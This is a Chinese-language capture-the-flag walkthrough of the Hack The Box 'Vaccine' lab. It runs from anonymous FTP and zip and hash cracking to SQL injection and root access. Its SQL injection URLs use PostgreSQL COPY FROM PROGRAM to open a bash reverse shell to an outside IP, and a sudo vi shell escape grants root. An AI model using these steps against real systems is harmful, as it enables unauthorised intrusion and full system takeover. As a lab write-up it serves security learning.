[StartingPoint][Tier2]Vaccine

Task 1

Besides SSH and HTTP, what other service is hosted on this box?

(除了SSH和HTTP,这个盒子上还托管了什么其他服务)

# nmap -sS -T4 10.129.230.43 --min-rate 1000

ftp

Task 2

This service can be configured to allow login with any password for specific username. What is that username?

(这个服务可以配置为允许特定用户名使用任何密码登录。那个用户名是什么?)

anonymous

Task 3

What is the name of the file downloaded over this service?

(在这个服务上下载的文件的名称是什么?)

backup.zip

Task 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

(John The Ripper哪个脚本可以爆破zip密码)

zip2john模块将ZIP转换为哈希

zip2john

Task 5

What is the password for the admin user on the website?

(网站管理员密码是多少?)

$ zip2john backup.zip > hashes
$ cat hashes

复制代码
-wordlist.txt-
admin
admin123
password
password123
741852963
741852962

$ john -wordlist=./wordlist.txt hashes

A

B

$ echo 2cb42f8734ea607eefed3b70af13bbd3 > hash

$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

qwerty789

Task 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

(sqlmap的什么选项可以进入shell命令交互窗口)

--os-shell

Task 7

What program can the postgres user run as root using sudo?

(postgres用户可以使用sudo作为root运行哪个程序?)

复制代码
http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -

一定要将payload进行url编码

$ cat /var/www/html/dashboard.php

将获取到的账户密码通过更加稳定的ssh进行连接

$ sudo -l

查看列出当前用户可以以超级用户权限执行的命令

可以用/bin/vi以root权限操作pg_hba.conf

vi

User Flag

$ cat user.txt

ec9b13ca4d6229cd5cc1e09980965bf7

Root Flag

sudo的配置文件限制了只允许使用特定路径的vi命令。这个路径是/bin/vi,而不是你尝试使用的/etc/postgresql/11/main/pg_hba.conf。所以,当你尝试执行sudo命令来编辑/etc/postgresql/11/main/pg_hba.conf文件时,由于sudo的配置限制,你得到了一个错误。这个错误告诉你,用户postgres不能以root身份执行你尝试的命令,因为sudo只允许使用/bin/vi路径的vi命令

A

:!/bin/sh 是一个vi编辑器的命令,它用于在vi编辑器的命令行模式下执行shell命令。具体来说,:! 是vi编辑器命令行模式下执行外部命令的开头,后面跟着要执行的shell命令/bin/sh。在这个例子中,它启动了一个新的shell进程(通常是Bourne shell或其变种),并执行/bin/sh。

:!/bin/sh 是在vi编辑器中直接执行一个shell命令

:!/bin/sh

B

:set shell=/bin/bash ; :shell 是另一个vi编辑器的命令,它用于设置vi编辑器的外部shell。在这个例子中,它将vi编辑器的外部shell设置为/bin/bash,这意味着在以后执行外部命令时,vi将使用Bash shell而不是默认的shell。这样做可以影响vi编辑器在执行外部命令时使用的shell的行为,包括命令补全、命令历史等。

:set shell=/bin/bash ; shell 是设置vi编辑器在执行外部命令时使用的shell。前者是执行命令的动作,后者是配置vi编辑器的行为。

:set shell=/bin/bash

:shell

dd6e058e814260bc70e9bbdef2715849

Path

ftp匿名访问网站源码泄露->zip2john爆破zip密码->查看泄露源码->登录页面->sql注入命令执行->dashboard.php泄露密码ssh登录->sudo -l 发现用户在/bin/vi可以以root权限编辑/etc/postgresql/11/main/pg_hba.conf文档->利用:[shell]进行提权

相关推荐
Databend30 分钟前
Databend 亮相 RustChinaConf 2025,分享基于 Rust 构建商业化数仓平台的探索
数据库
得物技术1 小时前
破解gh-ost变更导致MySQL表膨胀之谜|得物技术
数据库·后端·mysql
Raymond运维6 小时前
MariaDB源码编译安装(二)
运维·数据库·mariadb
沢田纲吉6 小时前
🗄️ MySQL 表操作全面指南
数据库·后端·mysql
RestCloud21 小时前
SQL Server到Hive:批处理ETL性能提升30%的实战经验
数据库·api
RestCloud1 天前
为什么说零代码 ETL 是未来趋势?
数据库·api
ClouGence1 天前
CloudCanal + Paimon + SelectDB 从 0 到 1 构建实时湖仓
数据库
DemonAvenger1 天前
NoSQL与MySQL混合架构设计:从入门到实战的最佳实践
数据库·mysql·性能优化
AAA修煤气灶刘哥2 天前
后端人速藏!数据库PD建模避坑指南
数据库·后端·mysql
RestCloud2 天前
揭秘 CDC 技术:让数据库同步快人一步
数据库·api